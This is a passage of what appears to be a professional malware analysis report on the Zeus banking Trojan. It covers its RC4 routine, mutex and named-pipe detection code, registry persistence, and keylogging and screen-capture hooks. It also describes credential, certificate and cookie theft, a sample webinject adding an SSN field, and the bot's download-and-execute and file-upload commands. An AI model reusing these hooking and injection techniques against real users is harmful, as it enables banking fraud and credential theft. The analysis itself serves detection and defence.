    0x86, 0x52, 0x32, 0xAE, 0xB3, 0x97, 0xBE, 0xBA, 0xDC, 0xC5,
0xCE, 0x0D, 0x0A, 0x43, 0xE4, 0x7E,
    0x65, 0x95, 0xF8, 0xF2, 0xE1, 0xAB, 0x98, 0x71, 0x64, 0x7B,
0x44, 0x1B, 0x3F, 0x76, 0xF3, 0xD4,
    0xA8, 0x29, 0x92, 0x6E, 0x18, 0x60, 0x46, 0x91, 0x3B, 0x09,
0xBF, 0x4B, 0x99, 0x87, 0xB5, 0x17,
    0xDA, 0xC6, 0x0C, 0xDD, 0x34, 0xEF, 0x2F, 0xE6, 0x90, 0x79,
0xBC, 0xF4, 0xF9, 0x9A, 0x6B, 0x5C,
    0x9E, 0x02, 0xEC, 0xE7, 0x80, 0x9D, 0xFD, 0x5A, 0x42, 0x05,
0xA2, 0x74, 0xE3, 0x01, 0x06, 0xC2,
    0x1E, 0x16, 0xC7, 0x21, 0x12, 0xEB, 0xF0, 0xD6, 0x81, 0x3C,
0x96, 0xFE, 0xC0, 0xE8, 0xC1, 0x2D,
    0x15, 0x5F, 0x5B, 0x31, 0x14, 0xC4, 0xEA, 0xE5, 0xEE, 0x6D,
0xA1, 0x53, 0x73, 0xAC, 0x00, 0x8F,
    0xC8, 0x68, 0x1D, 0x33, 0xFB, 0xED, 0x85, 0xD5, 0xFF, 0x89,
0xCA, 0x0B, 0xD1, 0x61, 0xA7, 0x7C,
    0xA4, 0x57, 0x40, 0xBD, 0xE0, 0x9B, 0x1F, 0xDF, 0xD7, 0x59,
0xB6, 0x66, 0x77, 0x48, 0xB1, 0xAF,
    0x2C, 0x94, 0x24, 0xDB, 0x4C, 0xF5, 0x82, 0x39, 0xBB, 0xA5,
0x1A, 0x38, 0x36, 0xF1, 0x0E, 0x0F,
    0x83, 0xF7, 0x75, 0xB9, 0x72, 0x9F, 0x5E, 0xFA, 0x11, 0xC9,
0xDE, 0x19, 0x7F, 0x37, 0x55, 0x50,
    0x00, 0x00};
  DWORD counter;
  BYTE * keybuf;
  BYTE encbyte;
  BYTE * keyptr;
  BYTE byMask;
  BYTE byCounter;

  byCounter = *(BYTE *)(rc4key + 256);
  counter = 0;
  byMask = *(BYTE *)(rc4key + 257);
  if ( length )
{
    do
    {
      ++byCounter;
      keybuf = byCounter + rc4key;
      encbyte = *(BYTE *)keybuf;
      byMask += *(BYTE *)keybuf;
      keyptr = rc4key + byMask;
```

```
      *(BYTE *)keybuf = *(BYTE *)keyptr;
      *(BYTE *)keyptr = encbyte;
      *(BYTE *)(counter++ + buffer) ^= *(BYTE *)(((encbyte +
*(BYTE *)keybuf) & 0xFF) + rc4key);
    }
    while ( counter < length );
  }
  *(BYTE *)(rc4key + 256) = byCounter;
  *(BYTE *)(rc4key + 257) = byMask;
  return 0;
}
```

Mutexes

Each Zeus infection creates a mutex with the name `_AVIRA_2109`, so Zeus can be detected by attempting to open the mutex `_AVIRA_2109`.

```
ret = OpenMutex(0x1F0001, 0, L"_AVIRA_2109");
if (ret)
{
      CloseHandle(ret);
      result = 1; // Zeus Found
}
else
{
      result = 0; // Zeus not found
}
return result;
```

Zeus also creates a named pipe that is used for issuing commands to the running bot. An interesting feature that the builder utilizes comprises an option for Trojan removable: the builder sends a command to the named pipe that instructs the bot to remove all traces of malware from the computer. Third-party applications also can take advantage of the named pipe for removing infected installations.

The following code illustrates documentation on the commands that the builder utilizes:

```
// Commands accepted over named pipe (pipecommand):
// 0x01 - returns the bot version
// 0x02 - returns the name of the bot
// 0x03 - issues command to bot to remove all traces of itself
from the system, a reboot is required
// for complete disinfection (handy!)
```

```
// 0x0b - return path of bot
// 0x0c - return path of config file local.ds
// 0x0d - return path of config user.ds

DWORD send_pipe_command(DWORD pipecommand, LPDWORD responsebuf,
LPDWORD bytesread)
{
      HANDLE hPipe;
      LPVOID buff;
      BOOL skipfunc = 1;
      DWORD ret = -1;
      WCHAR namepipe = L"\\\\.\\pipe\\_AVIRA_2109";
      DWORD nNumberOfBytesToWrite;
    DWORD nNumberOfBytesToRead;
      DWORD NumberOfBytesRead;
      DWORD tmp;

      while (1)
      {
            hPipe = CreateFileW(namepipe, 0xC0000000, 3, 0, 3, 0,
0);
            if (hPipe != -1)
            break;

            if(!skipfunc)
            return ret;

            WaitNamedPipeW(namepipe, 0xFFFFFFFF);
            skipfunc = 0;
      }
NumberOfBytesRead = 2;
  if ( SetNamedPipeHandleState(hPipe, &NumberOfBytesRead, 0, 0)
    && WriteFile(hPipe, &pipecommand, 4, &NumberOfBytesRead, 0)
    && WriteFile(hPipe, &nNumberOfBytesToWrite, 4,
&NumberOfBytesRead, 0)
    && WriteFile(hPipe, 0, nNumberOfBytesToWrite,
&NumberOfBytesRead, 0)
    && ReadFile(hPipe, &ret, 4, &NumberOfBytesRead, 0)
    && NumberOfBytesRead == 4 )
  {
    nNumberOfBytesToRead = 0;
    if ( !ReadFile(hPipe, &nNumberOfBytesToRead, 4,
&NumberOfBytesRead, 0) || NumberOfBytesRead != 4 )
```

```
    {
      ret = -1;
      goto die;
    }
      if (nNumberOfBytesToRead > 0)
      {
            buff = HeapAlloc(nNumberofBytesToRead);
            if ( buff
        && ReadFile(hPipe, buff, nNumberOfBytesToRead,
&NumberOfBytesRead, 0)
        && (tmp = nNumberOfBytesToRead, nNumberOfBytesToRead ==
NumberOfBytesRead) )
            {
                  *responsebuf = (DWORD)buff;
                  *Size = tmp;
                  goto die;
            }
      }
      else
      {
            ret = -1;
      }
      HeapFree(buff);
      goto die;
  }
die:
  CloseHandle(hPipe);
  return ret;
}
```

Additional mutexes and named pipes for means of detection:

- _AVIRA_2110
- _AVIRA_2101
- _AVIRA_2108
- _AVIRA_2109
- _AVIRA_21099

Registry Entries

Zeus makes registry changes to ensure that the `sdra64.exe` dropper is executed upon startup.

```
    HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Added:    "Userinit" =
"C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\sdra64.exe"


The following executes without Administrator rights:


    HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Added:    "Userinit" = "C:\Documents and
Settings\user\Application Data\sdra64.exe"
```

FTP and POP3 Credential Theft

The bot's hooks on imports of Winsock sending functions check each sent buffer for a case-sensitive `USER` or `PASS` command and associate any such string found—up to the next carriage return or line feed character—with the socket handle in an internal table.

When a `CWD`, `PWD`, `TYPE`, `FEAT`, `PASV`, `STAT`, or `LIST` command is intercepted—and if a user name and password both already have been collected for the socket—a string is constructed and logged with the form `protocol://user:password@nnn.nnn.nnn.nnn/`, where:

- `protocol` is `pop3` if a `STAT` or `LIST` command were intercepted (even though these also are valid FTP commands); otherwise it is `ftp`.
- `user` and `password` are the credentials logged when the `USER` and `PASS` commands, respectively, are intercepted.
- `nnn.nnn.nnn.nnn` is the IPv4 address of the remote host, obtained using `getpeername`.

Anonymous FTP logins (where username case-sensitivity matches `anonymous`) to Internet-routable IPv4 addresses—that is, any address except 10.x.x.x, 192.168.x.x, 172.[16-31].x.x, and, 127.0.x.x—are not recorded.

Server Response Format

Based on an analysis of the server's `gate.php`, the generic server response format appears to be:

```
(header, referred to as "BinCfg::HEADER"; size is 'HEADER_SIZE' =
28 or 1Ch bytes)
    +0000h  LONG    total length of response
    +0004h  LONG    ?
```

```
    +0008h  LONG    "reply count"
    +000Ch  [10h]   "BinCfg::HEADER.MD5Hash"; MD5 hash of
following data


    (data; composition varies)
    +001Ch  [10h]   "BinCfg::ITEM"? (size is 'ITEM_HEADER_SIZE' =
16
or 10h bytes)
    +002Ch  [...]   additional data
```

All fields are in little-endian byte order and responses are RC4-encrypted using the RC4 function of `system/global.php`, supplied with the `BOTNET_CRYPTKEY` encryption key.

Zeus botnet server responses might be identified by considering that the Content-Length of all responses will be at least 28 or 1Ch bytes in length and that—assuming the key does not change between responses—the first four bytes of data, when XORed by the Content-Length, should typically yield the same four bytes of keystream.

For example, if Message A has a Content-Length of 44 (2Ch) (and its first four bytes are 86 BB CC DD) and Message B has Content-Length 80 (50h) (and its first four bytes are FA BB CC DD) then XORing either message's first four bytes by its Content-Length yields AA BB CC DD. This relationship among messages might assist with programmatically identifying responses from a Zeus botnet server.

Key Logger and Screen Scraper

Zeus implements its key logging and screen scraping by way of an import hook to the API `user32!TranslateMessage`.

The hook first checks the MSG structure for the Windows message `WM_LBUTTONDOWN`. If the user has pressed the left mouse button, a global flag that is set within the `HttpSendRequestA` hook is then checked to determine whether the user is currently visiting a banking site defined within the bot's configuration file—this is to ensure that screen captures are taken only of online banking sessions. If the global flag is set, Zeus captures a bitmap of the current screen by using the standard WIN32 bitmap functions.

```
HDC hDC = CreateCompatibleDC(0);
HBITMAP hBmp = CreateCompatibleBitmap(GetDC(0), screen_width,
screen_height);
SelectObject(hDC, hBmp);
BitBlt(hDC, 0, 0, screen_width, screen_height, x_coordinate,
y_coordinate, SRCCOPY);
```

The image is then converted to a JPEG stream by way of the GDI library functions and is saved in a memory buffer. The image filename is created by concatenating the `processid` and a random, four-byte string; for example, `screens\unknown\0310_07403EC4.jpg`.

The JPEG stream is not written directly to disk; rather, it is encrypted and then concatenated into the hidden data file `\windows\system32\lowsec\user.ds`, with the file location being dependent on the bot creator's configuration.

If the hook code does not detect a left mouse button press, it then checks for the Windows message `WM_KEYDOWN`. If a key has been pressed, the function `GetKeyState` is called to determine whether the CTRL or ALT keys have been pressed and exits the function if so. `GetKeyboardState` is then called to get the status of all virtual keys. The function `ToUnicode` is called to convert the virtual keycode state to the corresponding Unicode character or characters. The key buffer also is saved to the hidden data file. Key logging, like screen scraping, takes place only when Zeus detects a URL of interest.

This is a creative approach to implementing a key logger and IOActive assumes it was created as an alternative to the easily-detectable `SetWindowsHookEx` function.

In addition, Zeus also hooks the function `GetClipBoardData`:

```
HANDLE hClip = GetClipboardData(uFormat);

  if ( hClip )
  {
    if ( uFormat == CF_TEXT || uFormat == CF_UNICODETEXT||
uFormat == CF_OEMTEXT )
      SaveDataToStore();
    else
      goto die;
  }
```

If the clipboard data contains text, it is saved to the encrypted log file; otherwise, the function returns normally.

Certificate Stealing

One of Zeus' interesting features is its ability to steal the certificate store, including private keys, by hooking the function `PFXImportCertStore`. This function imports a PFX BLOB and returns the handle of a store that contains certificates and any associated private keys. Once `PFXImportCertStore` has been called with the correct authentication, the function returns with a handle to the certificate store and available private keys, which Zeus then saves in the `user.ds` file.

Browser Injection and Hijacking

At the core of Zeus' functionality is its ability to hijack banking sessions and inject custom data into returned HTML. The data to be injected is specified within the `webinjects.txt` file, which is later built into the `zeus` configuration file.

Example injection:

```
set_url https://www.xxx.com/evaluate GP
data_before
class='full_name' maxlength='40' /></div>
data_end
data_inject
<div class='text'><label>SSN:<span
class='req'>*</span></label><input type="text" name='ssn'
class='email' maxlength='11' /></div>
data_end
data_after
<div class='text' id='email_wrapper'>
data_end
```

In this case, when visiting the Company evaluation page, additional data is injected into the HTML, which adds a form to enter a social security number. The HTML injection is performed by hooking the following `wininet` functions:

```
wininet.dll!HttpSendRequestW
wininet.dll!HttpSendRequestA
wininet.dll!HttpSendRequestExW
wininet.dll!HttpSendRequestExA
wininet.dll!InternetReadFile
wininet.dll!InternetReadFileExW
wininet.dll!InternetReadFileExA
wininet.dll!InternetQueryDataAvailable
wininet.dll!InternetCloseHandle
wininet.dll!HttpQueryInfoA
wininet.dll!HttpQueryInfoW
```

The fact that Zeus hooks by way of `wininet.dll` limits the injection to browsers that utilize these functions, which means that Internet Explorer sessions will be vulnerable to injection, but Firefox will not. A new version of Zeus that includes support for Firefox apparently is undergoing beta testing.

During the `HttpSendRequest*` hook routines, the bot creates an association between the `HINTERNET` handle used to send the request and the URL to which the request was sent—in addition to all web injection rules (read by the bot builder from `WebInjects.txt` and recorded in binary form in the bot's `config.bin` configuration file) relating to that URL—in an internal table.

Later, during the `InternetReadFile*` hook routines, the bot accesses the internal table—again using the HINTERNET handle as the key—and retrieves the web injection entries, according to which it processes the real data it receives by way of its own call to `InternetReadFileExA`. The handle also is associated with a buffer where the bot

maintains its own copy of the real, received data, which is modified according to any matching web injection rules not marked as log-only.

Note Hooked calls to `InternetReadFile*` actually receive modified data from the bot out of this buffer.

After injection, `HttpSendRequestA` sets a flag that, when read by the `TranslateMessage` hook, saves the screen in JPEG form and the session keystrokes in the format `<URL>\nReferer: -\nKeys: <keystrokes>\r\nData:\n\n<postdata>`. Refer to Figure 1.

Image redacted due to confidentiality.

Figure 1

Cookie Stealing

Zeus calls the function `InternetGetCookie` to retrieve cookies for the specified URL; the cookie data is then logged to the `user.ds` file.

Available Zeus Commands

The following commands can be issued from the server to the Zeus bot. Once each command is received, the command index number is used as a parameter to the `send_pipe_command()` function, which has been previously documented.

```
reboot   : Reboot computer.'
kos      : Kill OS.
shutdown : Shutdown computer.
bc_add [service] [ip] [port] : Add backconnect for [service]
using server witn address [ip]:[port].,
bc_del [service] [ip] [port] : Remove backconnect for [service]
(mask is allowed) that use connection to [ip]: [port] (mask is
allowed).
```

```
block_url [url]   : Disable access to [url] (mask is allowed).
unblock_url [url] : Enable access to [url] (mask is allowed).

block_fake [url]   : Disable executing of HTTP-fake/inject with
mask [url] (mask is allowed).
unblock_fake [url] : Enable executing of HTTP-fake/inject with
mask [url] (mask is allowed).

rexec [url] [args]   : Download and execute the file [url] with
the arguments [args] (optional).
rexeci [url] [args]  : Download and execute the file [url] with
the arguments [args] (optional) using interactive user.
lexec [file] [args]  : Execute the local file [file] with the
arguments [args] (optional).
lexeci [file] [args] : Execute the local file [file] with the
arguments [args] (optional) using interactive user.

addsf [file_mask...] : Add file masks [file_mask] for local
search.
delsf [file_mask...] : Remove file masks [file_mask] from local
search.
getfile [path]       : Upload file or folder [path] to server.

getcerts          : Upload certificates from all stores to
server.
resetgrab         : Upload to server the information from the
protected storage, cookies, etc.
upcfg [url]       : Update configuration file from url [url]
(optional, by default used standard url,
rename_bot [name] : Rename bot to [name].
getmff            : Upload Macromedia Flash files to server.
delmff            : Remove Macromedia Flash files.
sethomepage [url] : Set homepage [url] for Internet Explorer.
```

One important feature of the Zeus bot is the ability to download and execute files from a remote location. This gives Zeus the ability to extend its framework, or install additional malware.

Detailed analysis of the command internals was found to be unwarranted because they did not reveal any unique bot characteristics. The important commands allowed IOActive to retrieve encrypted data store files, execute local files, and disable injection based on URL.

Conclusion

The combined analysis of both the Zeus and SpyEye Trojans offers an internal look into the methods that are common to most popular banking Trojans. The level of detail documented here provides Company with the opportunity to prevent the underlying functionality of common malware, rather than basing detection and prevention on individual agents.

Zeus and other malware instances offer many distinct detection methods, but the fact that Company integrates a VM offers a unique ability to implement protection that covers an entire range of malware and malware techniques. IOActive recommends physical/virtual memory monitoring, which—with the proper implementation—could prevent unwanted hooks and process injection. Having control of the VM offers a great opportunity for system-wide memory page monitoring.

In addition, another distinct advantage to the virtualized solution is in being able to apply static analysis on the image before its execution. Simple entropy analysis on PE code sections, or the detection of suspicious sections, would offer a quick and easy way to determine a persistent malware infection.

In addition to this report, decrypted configuration files, decrypter tools, and unpacked versions of the Zeus agent are available on request.

Key-logging Notes

A common method used by banking malware is to hook the keyboard with a ring-3 `TranslateMessage`. Malware typically triggers the key-logging ability when the user is engaged in an online banking session. It should be noted that other key-logging methods, such as the API `SetWindowsHookEx` or a kernel-level filter hook, would allow system-wide key-logging.

References

[1] Koehl, Ben, and Jorge Mieres. "SpyEye Bot (Part two): Conversations with the creator of crimeware." <http://www.malwareint.com/docs/spyeye-analysis-ii-en.pdf>.

[2] Zeilenga, Kurt D. "RFC 4616: The PLAIN Simple Authentication and Security Layer (SASL) Mechanism." <http://www.ietf.org/rfc/rfc4616.txt>.